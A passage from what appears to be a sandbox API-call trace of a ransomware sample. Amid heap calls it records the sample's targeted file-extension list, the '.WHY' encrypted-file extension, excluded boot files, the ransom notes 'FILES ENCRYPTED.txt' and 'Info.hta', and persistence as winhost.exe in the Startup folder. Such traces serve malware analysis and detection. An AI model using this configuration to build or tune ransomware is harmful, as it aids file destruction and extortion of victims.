(HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60ea30 [0198.572] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60ea48 [0198.572] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60ea60 [0198.572] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60ea78 [0198.572] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60ea90 [0198.572] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x60eaa8 [0198.572] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c9540 [0198.572] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eaee8 [0198.572] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eaf00 [0198.573] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eaf18 [0198.573] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eaf30 [0198.573] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eaf48 [0198.573] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eaf60 [0198.573] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eaf78 [0198.573] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eaf90 [0198.573] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eafa8 [0198.573] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe) returned 0x5eafc0 [0198.573] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eafd8 [0198.573] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe) returned 0x5eaff0 [0198.573] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb008 [0198.574] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb020 [0198.574] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb038 [0198.574] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb050 [0198.574] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb068 [0198.574] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5eb080 [0198.574] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb098 [0198.574] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb0b0 [0198.574] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb0c8 [0198.574] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb0e0 [0198.574] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb0f8 [0198.574] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb110 [0198.574] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb128 [0198.574] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb140 [0198.575] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb158 [0198.575] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb170 [0198.575] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb188 [0198.575] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb1a0 [0198.575] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb1b8 [0198.575] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb1d0 [0198.575] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb1e8 [0198.575] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb200 [0198.575] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb218 [0198.575] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5eb230 [0198.575] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x12) returned 0x5c61c0 [0198.575] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb248 [0198.576] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb260 [0198.576] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb278 [0198.576] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb290 [0198.576] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb2a8 [0198.576] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb2e8 [0198.576] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb300 [0198.576] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb318 [0198.576] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb330 [0198.576] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb348 [0198.576] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb360 [0198.576] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb378 [0198.576] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb390 [0198.577] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb3a8 [0198.577] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb3c0 [0198.577] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb3d8 [0198.577] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb3f0 [0198.577] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb408 [0198.577] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb420 [0198.577] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb438 [0198.577] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5eb450 [0198.577] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5eb468 [0198.577] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5eb480 [0198.577] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe) returned 0x5eb498 [0198.578] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5eb4b0 [0198.578] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c9550 [0198.578] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb4c8 [0198.578] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c9560 [0198.578] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb4e0 [0198.578] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb4f8 [0198.578] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb510 [0198.578] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5eb528 [0198.578] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5eb540 [0198.578] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb558 [0198.578] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5eb570 [0198.578] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb588 [0198.579] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb5a0 [0198.579] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5eb5b8 [0198.579] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb5d0 [0198.579] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5eb5e8 [0198.579] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5eb600 [0198.579] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb618 [0198.579] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5c9570 [0198.579] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb630 [0198.579] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5eb648 [0198.580] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60ead0, Size=0x800) returned 0x5ebad0 [0198.580] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0198.580] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x60cec8 | out: hHeap=0x590000) returned 1 [0198.580] lstrlenW (lpString="") returned 0 [0198.580] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5ec410 | out: hHeap=0x590000) returned 1 [0198.580] lstrlenW (lpString=".WHY") returned 4 [0198.580] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c55b8, Size=0x8) returned 0x5c55b8 [0198.580] lstrlenW (lpString=".WHY") returned 4 [0198.581] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5ec410 | out: hHeap=0x590000) returned 1 [0198.581] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5ec440, Size=0x20) returned 0x5a4640 [0198.581] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4640, Size=0x40) returned 0x5c6d40 [0198.581] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c6d40, Size=0x80) returned 0x60aee0 [0199.138] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c95e0, Size=0x8) returned 0x5c9620 [0199.138] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9620, Size=0x10) returned 0x5ec560 [0199.138] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5ec560, Size=0x20) returned 0x5c5ce0 [0199.138] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0199.138] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x60aee0 | out: hHeap=0x590000) returned 1 [0199.139] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5ec590, Size=0x20) returned 0x5c5d08 [0199.139] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c5d08, Size=0x40) returned 0x5c6ea8 [0199.139] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0199.139] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0199.139] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c6ea8 | out: hHeap=0x590000) returned 1 [0199.139] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5ec590, Size=0x20) returned 0x5c5d08 [0199.139] lstrlenW (lpString="Info.hta") returned 8 [0199.139] lstrlenW (lpString="Info.hta") returned 8 [0199.139] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5d08 | out: hHeap=0x590000) returned 1 [0199.141] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x61ffe8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe")) returned 0x67 [0205.106] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61ffe8 | out: hHeap=0x590000) returned 1 [0205.108] lstrlenW (lpString="winhost.exe") returned 11 [0205.108] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c5ce0, Size=0x40) returned 0x5c6fc8 [0205.108] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x630050, Size=0x20) returned 0x5c5ce0 [0205.110] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x630050, Size=0x20) returned 0x5c5ee8 [0205.110] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c5ee8, Size=0x40) returned 0x5c7010 [0205.110] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c7010, Size=0x80) returned 0x60aee0 [0205.111] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60aee0, Size=0x100) returned 0x6403f8 [0205.111] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0205.111] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x6403f8 | out: hHeap=0x590000) returned 1 [0205.111] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x61ffe8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0205.111] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x6303f0 | out: hHeap=0x590000) returned 1 [0205.111] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61ffe8 | out: hHeap=0x590000) returned 1 [0205.112] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9620, Size=0x8) returned 0x5c95f0 [0205.112] lstrlenW (lpString="%windir%;") returned 9 [0205.113] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5ce0 | out: hHeap=0x590000) returned 1 [0205.113] lstrlenW (lpString="C:\\Windows;") returned 11 [0205.113] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5daec8 | out: hHeap=0x590000) returned 1 [0205.113] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x630068, Size=0x20) returned 0x5c5ce0 [0205.113] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c5ce0, Size=0x40) returned 0x5c7010 [0205.113] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c7010, Size=0x80) returned 0x60aee0 [0205.113] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60aee0, Size=0x100) returned 0x5ffc50 [0205.114] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9640, Size=0x8) returned 0x5c9650 [0205.114] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9650, Size=0x10) returned 0x6300b0 [0205.114] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x6300b0, Size=0x20) returned 0x5c5ce0 [0205.114] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9620, Size=0x8) returned 0x5c9650 [0205.114] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c95e0, Size=0x8) returned 0x5c9620 [0205.114] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9640, Size=0x8) returned 0x5c9660 [0205.114] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9660, Size=0x10) returned 0x630158 [0205.114] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x630158, Size=0x20) returned 0x5c5ee8 [0205.114] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9650, Size=0x10) returned 0x630158 [0205.115] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9620, Size=0x10) returned 0x630188 [0205.115] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9650, Size=0x8) returned 0x5c9640 [0205.115] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9670, Size=0x8) returned 0x5c9680 [0205.115] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x630158, Size=0x20) returned 0x5c5e98 [0205.115] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x630188, Size=0x20) returned 0x5c5e20 [0205.115] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9690, Size=0x8) returned 0x5c96a0 [0205.115] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x630200, Size=0x20) returned 0x5c5f38 [0205.115] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x5daec8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0205.115] lstrlenW (lpString="C:\\") returned 3 [0205.116] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0205.117] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5daec8 | out: hHeap=0x590000) returned 1 [0205.119] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c96d0, Size=0x82) returned 0x5ffce0 [0205.119] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c96f0, Size=0x100) returned 0x5ffd70 [0205.119] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5ffce0, Size=0x104) returned 0x5fff98 [0205.120] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5ffd70, Size=0x200) returned 0x6000a8 [0205.123] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c96e0 | out: hHeap=0x590000) returned 1 [0205.123] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x6000a8 | out: hHeap=0x590000) returned 1 [0205.123] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x6302a8 | out: hHeap=0x590000) returned 1 [0205.123] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x60b078 | out: hHeap=0x590000) returned 1 [0205.123] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x630260 | out: hHeap=0x590000) returned 1 [0205.123] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x60b100 | out: hHeap=0x590000) returned 1 [0205.123] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x630290 | out: hHeap=0x590000) returned 1 [0205.123] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5fff98 | out: hHeap=0x590000) returned 1 [0205.123] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x630278 | out: hHeap=0x590000) returned 1 [0205.123] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5ffe78 | out: hHeap=0x590000) returned 1 [0205.123] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x6302c0 | out: hHeap=0x590000) returned 1 [0205.123] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5fff08 | out: hHeap=0x590000) returned 1 [0205.123] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x6302d8 | out: hHeap=0x590000) returned 1 [0205.123] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x6302d8, Size=0x20) returned 0x5c5f60 [0205.123] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c5f60, Size=0x40) returned 0x5c7010 [0205.784] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x609fb0, Size=0x20) returned 0x6026e0 [0205.784] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x6026e0, Size=0x40) returned 0x5c7130 [0205.784] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c7130, Size=0x80) returned 0x60aee0 [0205.784] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60aee0, Size=0x100) returned 0x609df8 [0205.784] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x609df8, Size=0x200) returned 0x60a368 [0205.784] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60a368, Size=0x400) returned 0x60a368 [0205.784] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60a368, Size=0x800) returned 0x60a368 [0205.784] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60a368, Size=0x1000) returned 0x640410 [0205.785] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c96f0, Size=0x8) returned 0x5c9700 [0205.785] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9700, Size=0x10) returned 0x60a028 [0205.785] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60a028, Size=0x20) returned 0x6026e0 [0205.785] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x6026e0, Size=0x40) returned 0x5c7130 [0205.785] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c7130, Size=0x80) returned 0x60aee0 [0205.785] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60aee0, Size=0x100) returned 0x5e0868 [0205.786] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e0868, Size=0x200) returned 0x6051d8 [0205.786] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x6051d8, Size=0x400) returned 0x641418 [0205.786] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641418, Size=0x800) returned 0x5e3450 [0205.787] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e3fb8, Size=0x20) returned 0x6026e0 [0205.787] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x6026e0, Size=0x40) returned 0x5c7130 [0205.787] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c7130, Size=0x80) returned 0x60aee0 [0205.787] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641440, Size=0x8) returned 0x641450 [0205.787] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641450, Size=0x10) returned 0x5e3fb8 [0205.787] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e3fb8, Size=0x20) returned 0x602730 [0205.787] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e3fe8, Size=0x20) returned 0x602758 [0205.787] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x602758, Size=0x40) returned 0x5c7130 [0205.787] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0205.788] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e3fe8, Size=0x20) returned 0x602758 [0205.788] lstrlenW (lpString="Info.hta") returned 8 [0205.789] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x641c20, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe")) returned 0x67 [0205.789] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x641c20 | out: hHeap=0x590000) returned 1 [0205.789] lstrlenW (lpString="winhost.exe") returned 11 [0205.790] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x602730, Size=0x40) returned 0x5c7130 [0205.790] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e3fe8, Size=0x20) returned 0x602730 [0205.790] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e3fe8, Size=0x20) returned 0x602758 [0205.790] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x602758, Size=0x40) returned 0x5c7178 [0205.790] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c7178, Size=0x80) returned 0x60aee0 [0205.791] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60aee0, Size=0x100) returned 0x5e0868 [0205.791] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0205.791] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e0868 | out: hHeap=0x590000) returned 1 [0205.791] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x641c20, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0205.791] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x651c28 | out: hHeap=0x590000) returned 1 [0205.791] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x641c20 | out: hHeap=0x590000) returned 1 [0205.791] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641450, Size=0x8) returned 0x641440 [0205.791] lstrlenW (lpString="%windir%;") returned 9 [0205.791] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x602730 | out: hHeap=0x590000) returned 1 [0205.791] lstrlenW (lpString="C:\\Windows;") returned 11 [0205.791] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61ffe8 | out: hHeap=0x590000) returned 1 [0205.794] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e4000, Size=0x20) returned 